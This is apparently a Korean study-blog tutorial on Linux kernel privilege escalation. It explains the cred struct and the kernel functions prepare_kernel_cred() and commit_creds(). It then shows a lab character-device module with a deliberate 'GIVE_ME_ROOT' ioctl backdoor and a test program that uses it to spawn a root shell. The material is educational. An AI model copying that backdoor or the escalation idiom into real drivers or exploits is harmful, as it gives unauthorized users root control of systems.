Kernel Exploit시 반드시 알아야 하는 기본적인 함수는 prepare_kernel_cred(), commit_creds() 함수이다. 해당 함수를 이용해서 권한 상승을 일으키는 커널 모듈을 만들어보자.
1. cred 구조체
우선 위 2개의 함수를 알기전에 cred 구조체에 대해서 알아야한다. 예전에 리눅스 커널 기초 이론을 정리할때 PCB에 대한 설명을 했다. PCB란 프로세스의 모든 메타데이터 정보를 가지고 있으며, 실제 코드 내부에서 task_struct 구조체로 관리가 된다. 자세한 설명은 아래 글을 참조하면 된다.
위 글을 작성했을때에는 cred 구조체에 대한 부분이 없다. 아마 참조한 강의 영상에서 다루는 강의자료는 예전 커널 소스를 기준으로 했거나 생략된 것으로 보인다. 따라서 실제 내가 테스트하는 우분투 18.04 의 cred 구조체 선언부분을 확인해보자.
/lib/modules/5.4.0-53-generic/build/include/linux/sched.h
...
848
849 #ifdef CONFIG_NO_HZ_FULL
850 atomic_t tick_dep_mask;
851 #endif
852 /* Context switch counts: */
853 unsigned long nvcsw;
854 unsigned long nivcsw;
855
856 /* Monotonic time in nsecs: */
857 u64 start_time;
858
859 /* Boot based time in nsecs: */
860 u64 real_start_time;
861
862 /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specifi
863 unsigned long min_flt;
864 unsigned long maj_flt;
865
866 /* Empty if CONFIG_POSIX_CPUTIMERS=n */
867 struct posix_cputimers posix_cputimers;
868
869 /* Process credentials: */
870
871 /* Tracer's credentials at attach: */
872 const struct cred __rcu *ptracer_cred;
873
874 /* Objective and real subjective task credentials (COW): */
875 const struct cred __rcu *real_cred;
876
877 /* Effective (overridable) subjective task credentials (COW): */
878 const struct cred __rcu *cred;
879
880 #ifdef CONFIG_KEYS
881 /* Cached requested key. */
882 struct key *cached_requested_key;
883 #endif
884
885 /*
886 * executable name, excluding path.
887 *
888 * - normally initialized setup_new_exec()
889 * - access it with [gs]et_task_comm()
890 * - lock it with task_lock()
891 */
892 char comm[TASK_COMM_LEN];
893
894 struct nameidata *nameidata;
895
896 #ifdef CONFIG_SYSVIPC
...
C
복사
sched.h 헤더파일을 살펴보면 task_struct 를 찾을수 있고 cred 구조체 필드를 확인할 수 있다. cred 구조체는 현재 태스크의 신원 정보를 가리키는 포인터이다. cred __rcu 구조체를 확인해보자.
/lib/modules/5.4.0-53-generic/build/include/linux/cred.h
111 struct cred {
112 atomic_t usage;
113 #ifdef CONFIG_DEBUG_CREDENTIALS
114 atomic_t subscribers; /* number of processes subscribed */
115 void *put_addr;
116 unsigned magic;
117 #define CRED_MAGIC 0x43736564
118 #define CRED_MAGIC_DEAD 0x44656144
119 #endif
120 kuid_t uid; /* real UID of the task */
121 kgid_t gid; /* real GID of the task */
122 kuid_t suid; /* saved UID of the task */
123 kgid_t sgid; /* saved GID of the task */
124 kuid_t euid; /* effective UID of the task */
125 kgid_t egid; /* effective GID of the task */
126 kuid_t fsuid; /* UID for VFS ops */
127 kgid_t fsgid; /* GID for VFS ops */
128 unsigned securebits; /* SUID-less security management */
129 kernel_cap_t cap_inheritable; /* caps our children can inherit */
130 kernel_cap_t cap_permitted; /* caps we're permitted */
...
145 struct user_struct *user; /* real user ID subscription */
146 struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
147 struct group_info *group_info; /* supplementary groups for euid/fsgid */
148 /* RCU deletion */
149 union {
150 int non_rcu; /* Can we skip RCU deletion? */
151 struct rcu_head rcu; /* RCU deletion hook */
152 };
153 } __randomize_layout;
C
복사
중요 필드들은 다음과 같다
1.
usage
cred 참조 카운터로 하나의 cred 구조체는 여러 개의 프로세스에서 동시에 사용될 수 있다. cred 구조체는 아마 공유자원 인듯?
2.
uid
현 프로세스를 소유하고 있는 사용자의 ID를 저장한다. id=0 이면 root이다.
3.
euid
실제 명령을 수행하는 주체의 id를 가리킨다. 사용자가 처음 user1에 로그인을 하면 uid, euid가 동일하지만, su로 user2로 전환하면 uid는 user1이지만, euid는 user2를 가리킨다.
4.
gid, egid
uid와 euid 같은 방식으로 사용자가 속한 그룹을 나타낸다.
자 이제 cred 구조체에 대한 개념을 가지고 prepare_kernel_cred() 함수를 알아보자.
2. prepare_kernel_cred() 함수
prepare_kernel_cred() 함수와 commit_creds() 함수는 태스크의 권한을 수정하기 위해 커널에서 사용하는 함수이다. 그 중 prepare_kernel_cred() 함수에 대해서 먼저 알아보자.
prepare_kernel_cred() 함수는 원하는 신원 정보의 cred 구조체를 생성하는 함수이다. 즉 현재 커널 서비스에 대해서 자격 증명을 준비하는 과정이다. 권한 설정을 위한 세팅이라고 보면 될것 같다. 함수 원형은 다음과 같다
(cred.c 가 왜 없지? 음 이건 물어봐야겠다.) cred.c 소스코드는 아래 사이트에서 확인 할수 있다.
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
validate_creds(old);
*new = *old;
new->non_rcu = 0;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);
#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;
put_cred(old);
validate_creds(new);
return new;
error:
put_cred(new);
put_cred(old);
return NULL;
}
C
복사
함수 인자로 전달된 task_struct 구조체 타입의 daemon 포인터의 값을 확인하여 cred 구조체 변수인 old를 할당 받는다. NULL이 아니면 현재 daemon의 자격증명을 가져오고, 아니면 get_cred(&init_cred)를 호출하여 old에 할당받는다.
즉 init_cred의 자격증명을 가져오는데 이는 root 권한의 자격증명을 가지고 있다.
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
};
C
복사
init_cred 구조체는 초기 root 권한의 자격증명을 가지고 있는 것을 확인할 수 있다. 만약 daemon이 NULL이라면 kmem_cache_alloc() 함수를 통해 할당받은 new에 old 값을 복사하고, new를 리턴한다.
prepare_kernel_cred() 함수의 전체 로직을 한번 정리해보자.
1.
kmem_cache_alloc()에 의해 new 변수에 객체를 할당한다
2.
daemon 값이 NULL이 아니면 get_task_cred() 함수를 호출하여 전달된 프로세스의 자격증명(권한으로 보면될듯)을 old 변수에 저장한다
3.
daemon이 NULL이면 init_cred의 자격증명을 old 변수에 저장한다. init_cred 자격증명은 root이다
4.
validate_creds() 함수를 호출하여 전달된 자격증명(old)의 유효성을 검사한다
5.
atomic_set()을 통해 new→usage 필드에 1을 세팅한다
6.
set_cred_subscriber()을 통해 cred→subscribers 필드에 0을 세팅한다
7.
get_uid(), get_user_ns(), get_group_info() 함수를 통해 현재 new에 복사된 자격증명의 uid, user namespace, group info를 조회한다
8.
security_prepare_creds() 함수를 이용하여 현재 프로세스의 자격증명을 갱신한다.
9.
put_cred()함수를 이용하여 현재 프로세스가 이전에 참조한 자격증명을 해제한다
10.
validate_creds() 함수를 이용하여 새롭게 갱신된 자격증명(new)의 유효성을 검사한다.
결론으로는, 우리가 daemon 을 NULL로 만들수 있으면, root 권한을 가지는 cred 구조체를 얻을수 있고 이게 바로 우리가 이용해야하는 root 권한의 새로운 자격증명이다. 헷갈리면 안되는게 prepare_kenel_cred() 함수를 이용해서 새로운 자격증명(root 권한) 값을 얻는거지, 아직 변경된건 아니다. 생성된 cred 구조체 자격증명을 이용해서 실제 권한상승은 commit_creds()에서 일어난다.
이제 commit_creds() 함수를 알아보자. 이 함수는 현재 프로세스의 신원을 다른걸로 변경하는 함수이다. 여기서 LPE가 일어난다.
3. Commit_creds() 함수
이 함수는 프로세스의 신원을 번경시키는 함수이다. prepare_kenel_cred() 함수를 통해 root 권한의 자격증명을 얻었으면, commit_creds() 함수에서 이를 이용해서 실제 권한상승 즉 신원을 바꿀수 있다. 함수 원형은 다음과 같다
/**
* commit_creds - Install new credentials upon the current task
* @new: The credentials to be assigned
*
* Install a new set of credentials to the current task, using RCU to replace
* the old set. Both the objective and the subjective credentials pointers are
* updated. This function may not be called if the subjective credentials are
* in an overridden state.
*
* This function eats the caller's reference to the new credentials.
*
* Always returns 0 thus allowing this function to be tail-called at the end
* of, say, sys_setgid().
*/
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;
kdebug("commit_creds(%p{%d,%d})", new,
atomic_read(&new->usage),
read_cred_subscribers(new));
BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
BUG_ON(read_cred_subscribers(old) < 2);
validate_creds(old);
validate_creds(new);
#endif
BUG_ON(atomic_read(&new->usage) < 1);
get_cred(new); /* we will require a ref for the subj creds too */
/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
/*
* If a task drops privileges and becomes nondumpable,
* the dumpability change must become visible before
* the credential change; otherwise, a __ptrace_may_access()
* racing with this change may be able to attach to a task it
* shouldn't be able to attach to (as if the task had dropped
* privileges without becoming nondumpable).
* Pairs with a read barrier in __ptrace_may_access().
*/
smp_wmb();
}
/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(new);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(new);
/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
alter_cred_subscribers(new, 2);
if (new->user != old->user)
atomic_inc(&new->user->processes);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user)
atomic_dec(&old->user->processes);
alter_cred_subscribers(old, -2);
/* send notifications */
if (!uid_eq(new->uid, old->uid) ||
!uid_eq(new->euid, old->euid) ||
!uid_eq(new->suid, old->suid) ||
!uid_eq(new->fsuid, old->fsuid))
proc_id_connector(task, PROC_EVENT_UID);
if (!gid_eq(new->gid, old->gid) ||
!gid_eq(new->egid, old->egid) ||
!gid_eq(new->sgid, old->sgid) ||
!gid_eq(new->fsgid, old->fsgid))
proc_id_connector(task, PROC_EVENT_GID);
/* release the old obj and subj refs both */
put_cred(old);
put_cred(old);
return 0;
}
EXPORT_SYMBOL(commit_creds);
C
복사
commit_creds() 함수의 주요 흐름은 다음과 같다.
1.
current 변수에 담겨있는 현재 프로세스의 정보를 task_struct 구조체 변수인 task에 저장한다
2.
task 구조체를 이용해서 현재 프로세스가 사용중인 자격증명 정보를 old 변수에 저장한다.
3.
BUG_ON() 함수를 이용해서
•
task→cred 와 old 가 같은지 확인한다
•
new→usage에 저장된 값이 1보다 작은지 확인한다
4.
get_gred() 함수를 이용하여 new 변수에 저장된 자격증명에 참조되있는 정보를 가져온다
5.
uid_eq(), gid_eq() 함수를 이용하여 euid, egid 정보를 new, old 변수들에 담겨있는 값과 비교를 한다
6.
cred_cap_issubset() 함수를 이용하여 두 자격증명(old,new)이 동일한 사용자 namespace에 있는지 확인한다
7.
다시 uid_eq(), gid_eq() 함수를 이용하여 다음의 값을 확인한다
•
new→fsuid, old→fsuid
•
new→fsgid, old→fsgid
두 값이 다를 경우 key_fsuid_chaned(), key_fsgid_changed() 함수를 이용하여 현재 프로세스의 fsuid, fsgid,값으로 갱신한다
8.
alter_cred_subscribers() 함수를 이용하여 new 구조체에서subscribers 변수에 2를 더한다
9.
rcu_assign_pointer() 함수를 이용하여 현재 프로세스의 task→real_cred, task→cred 영역에 새로운 자격증명을 등록한다.
10.
alter_cred_subscribers() 함수를 이용하여 old 구조체에서subscribers 변수에 -2를 더한다
11.
put_cred() 함수를 이용하여 이전에 사용된 자격증명을 모두 해제한다.
결론적으로 prepare_kernel_cred() 함수로 root 권한의 자격증명을 얻고, 이를 인자로 하여 commit_creds() 함수를 호출하면 root로의 권한상승을 일으킬수 있다
commit_creds(prepare_kernel_cred(NULL));
C
복사
4. LPE TEST with Linux Kernel Module
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
#include <linux/cred.h>
#include "lpe.h"
MODULE_LICENSE("Dual BSD/GPL");
#define DRIVER_NAME "chardev"
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM = 1;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
static int chardev_open(struct inode *, struct file *);
static int chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static long chardev_ioctl(struct file *, unsigned int, unsigned long);
struct file_operations s_chardev_fops = {
.open = chardev_open,
.release = chardev_release,
.read = chardev_read,
.write = chardev_write,
.unlocked_ioctl = chardev_ioctl,
};
static int chardev_init(void)
{
int alloc_ret = 0;
int cdev_err = 0;
int minor = 0;
dev_t dev;
printk("The chardev_init() function has been called.");
alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
if (alloc_ret != 0) {
printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret);
return -1;
}
//Get the major number value in dev.
chardev_major = MAJOR(dev);
dev = MKDEV(chardev_major, MINOR_BASE);
//initialize a cdev structure
cdev_init(&chardev_cdev, &s_chardev_fops);
chardev_cdev.owner = THIS_MODULE;
//add a char device to the system
cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
if (cdev_err != 0) {
printk(KERN_ERR "cdev_add = %d\n", alloc_ret);
unregister_chrdev_region(dev, MINOR_NUM);
return -1;
}
chardev_class = class_create(THIS_MODULE, "chardev");
if (IS_ERR(chardev_class)) {
printk(KERN_ERR "class_create\n");
cdev_del(&chardev_cdev);
unregister_chrdev_region(dev, MINOR_NUM);
return -1;
}
device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor);
return 0;
}
static void chardev_exit(void)
{
int minor = 0;
dev_t dev = MKDEV(chardev_major, MINOR_BASE);
printk("The chardev_exit() function has been called.");
device_destroy(chardev_class, MKDEV(chardev_major, minor));
class_destroy(chardev_class);
cdev_del(&chardev_cdev);
unregister_chrdev_region(dev, MINOR_NUM);
}
static int chardev_open(struct inode *inode, struct file *file)
{
printk("The chardev_open() function has been called.");
return 0;
}
static int chardev_release(struct inode *inode, struct file *file)
{
printk("The chardev_close() function has been called.");
return 0;
}
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
printk("The chardev_write() function has been called.");
return count;
}
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
printk("The chardev_read() function has been called.");
return count;
}
static struct ioctl_info info;
static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
printk("The chardev_ioctl() function has been called.");
switch (cmd) {
case SET_DATA:
printk("SET_DATA\n");
if (copy_from_user(&info, (void __user *)arg, sizeof(info))) {
return -EFAULT;
}
printk("info.size : %ld, info.buf : %s",info.size, info.buf);
break;
case GET_DATA:
printk("GET_DATA\n");
if (copy_to_user((void __user *)arg, &info, sizeof(info))) {
return -EFAULT;
}
break;
case GIVE_ME_ROOT:
printk("GIVE_ME_ROOT\n");
commit_creds(prepare_kernel_cred(NULL));
return 0;
default:
printk(KERN_WARNING "unsupported command %d\n", cmd);
return -EFAULT;
}
return 0;
}
module_init(chardev_init);
module_exit(chardev_exit);
C
복사
ioctl 매크로에 GIVE_ME_ROOT: 를 등록하고, 해당 분기시 commit_creds(prepared_kernel_cred(NULL)) 함수가 호출된다.
lpe.h
1
2 #include <linux/ioctl.h>
3
4 struct ioctl_info{
5 unsigned long size;
6 char buf[128];
7 };
8
9 #define IOCTL_MAGIC 'G'
10 #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info)
11 #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info)
12 #define GIVE_ME_ROOT _IO(IOCTL_MAGIC, 0)
C
복사
GIVE_ME_ROOT 매크로는 _IO(IOCTLMAGIC, 0) 으로 설정한다. 따라서 GIVE_ME_ROOT 매크로 이용시 3번째 인자가 없기 때문에 chardev_ioctl() 함수의 arg에는 인자를 넘길 필요없다.
최종적으로 사용자가 ioctl() 함수에 GIVE_ME_ROOT 매크로를 넣어주면, 권한 상승을 일으킬수 있다. 테스트 코드는 다음과 같다
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include "lpe.h"
void main()
{
int fd, ret;
fd = open("/dev/chardev0", O_NOCTTY);
if (fd < 0) {
printf("Can't open device file\n");
exit(1);
}
ret = ioctl(fd, GIVE_ME_ROOT);
if (ret < 0) {
printf("ioctl failed: %d\n", ret);
exit(1);
}
close(fd);
execl("/bin/sh", "sh", NULL);
}
C
복사
ioctl(fd,GIVE_ME_ROOT)를 호출하고 execl을 이용해 쉘을 실행시킨다. 현재 id값은 유저 권한이기때문에 정상적으로는 user 권한의 쉘이 떨어져야 하지만, 권한상승이 일어나 root 권한의 쉘이 떨어질 것이다.
Makefile
1 obj-m += chardev.o
2
3 all:
4 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
5 clean:
6 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
C
복사
makefile은 동일하다.
╭─wogh8732@ubuntu ~/Desktop/kernel_study/lpe_test
╰─$ id
uid=1000(wogh8732) gid=1000(wogh8732) groups=1000(wogh8732),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
╭─wogh8732@ubuntu ~/Desktop/kernel_study/lpe_test
╰─$ ./test
# id
uid=0(root) gid=0(root) groups=0(root)
#
C
복사
lpe.ko를 생성하고 insmod로 커널에 등록한다. 그후 생성된 디바이스 파일(chardev0)를 open한뒤, ioctl() 함수를 호출한 결과이다. 처음에는 나의 uid이지만 test를 실행시키면 root로 권한상승이 일어난걸 볼 수 있다.